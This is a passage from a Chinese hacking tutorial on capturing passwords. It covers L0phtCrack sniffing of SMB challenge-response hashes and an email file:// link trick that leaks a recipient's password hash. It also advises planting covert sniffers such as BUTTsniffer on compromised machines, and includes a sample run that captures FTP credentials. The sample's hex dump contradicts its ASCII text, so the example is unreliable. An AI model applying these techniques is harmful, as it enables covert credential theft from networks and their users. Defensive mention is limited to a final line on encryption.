战术攻防思维撷粹

C:\toolkit>dumpel –e 529 –f faillog.txt –l security –m Security –t

并设置此脚本为计划任务，定期检测。

例外，值得一提的是，著名的L0pht黑客小组提出了另种新颖的攻击方式：在用户登录服务器时对会话进行嗅探，从而得到密码。其强大有利的L0ptcrack(习惯简称为LC)可以捕获SMB包的信息，刨出加密过的密码信息，在反向破解这些加密密码。

对于使用挑战回应的身份认证，LC也显示了其天才工具的能力。认证时，客户端接受服务器发送的随机挑战字串，之后使用客户自身的密码散列进行加密，反馈服务器；服务器用其所拥有的用户散列对随即挑战本地加密，比较两者值是否相同来确认用户是否授权。LC通过分组捕获用户散列加密挑战字串。把这些已知的挑战和随机字串进行加密，从而逆向推解用户自身的密码散列。

对于交换式网络，L0pht居然使用含有文件://yourserver/message.html的电子邮件来获得收信的密码散列。当点击这个链接，用户散列就被LC所捕获。

当然，这群自负家伙居然制造了嗅探VPN连接的工具，正是令人惊悸。有关LC工具最新动态和密码经典破解原理的文章都可以www.l0pht.com上查询。

【权利制度下扩充】

**秘密嗅探

获得系统控制权利后，奴役其作为情报搜集的间谍是个不错的想法。这可以为我们入侵网络而准备充足的情报信息。于是sniffer理所应当的成为了情报员的角色。由于这些搜集工作必须是默默无声的，因此在远程机器安装绚丽多彩和结构庞大的sniffer程序是无法容忍的。而以下的两款工具给我们带来无比优秀的命令行方式的嗅探程序。

BUTTsniffer是用BO2000的作者DilDog编写的，其组件是用BUTTsniffer.exe以及BUTTsniffer.dll组成，两者可以重命名。由于是动态装载，只需要上载到目标系统，通过命令开关选项就可执行嗅探任务，因而深的Blackhat们的喜爱。下面是使用实例： C:\toolbox>buttsniff -d D:\result.txt p
WinNT: Version 4.0 Build 1381
Service Pack: Service Pack 6
Press Ctrl-C to stop logging... Close requested
C:\toolbox>type D:\result.txt
. . .
Source IP: 192.168.7.36 Target IP: 192.168.7.200
TCP Lenght: 13 Source Port: 3530 Target Port 21 Seq: 001A145E Ack: 6D968BEC
Flags: PA Window: 8676 TCP ChkSum: 41325 UrgPtr: 0
00000000: 55 53 45 52 20 67 65 6F 72 67 65 0D 0A USER ernie..
. . .
Source IP: 192.168.7.36 Target IP: 192.168.7.200
TCP Lenght: 17 Source Port: 3530 Target Port 21 Seq: 001A146B Ack: 6D968C0F
Flags: PA Window: 8676 TCP ChkSum: 41325 UrgPtr: 0
00000000: 50 41 53 53 20 67 65 6F 72 67 65 30 30 31 3F 0D PASS bert.
00000010: 0A .

这里，我们捕获了从IP地址为为192.168.7.36到192.168.7.200的FTP认证会话，并得到密码为bert。

(注：BUTTsniffer使用时间过长会导致目标系统崩溃，请慎用之。)

而另一款fsniff则可以从Foundstone公司站点下载，其类似于BUTTsniffer，可以动态装载捕获驱动程序，并且还可以从分组中过滤认证信息，使用也非常方便，有兴趣的读者可以下载回来进行测试，这里就不赘述。其他大多数强大的嗅探程序则需要基于WinPcap的嗅探驱动程序，或者诸如专业的snifferpro自带嗅探驱动功能，虽然功能齐全，但容易被发现，于是具有动态装载的嗅探器就成为了Blackhat最喜爱种植的种子。

通过这种寂静的方式，入侵者们完全可以悠然的喝着咖啡，等待着收获时节的到来。针对这种情况，可以采用SSH、SSL、PGP等加密通信，但需要小心，因为技术的进步，让这些加密通道里也暗藏了盗窃的可能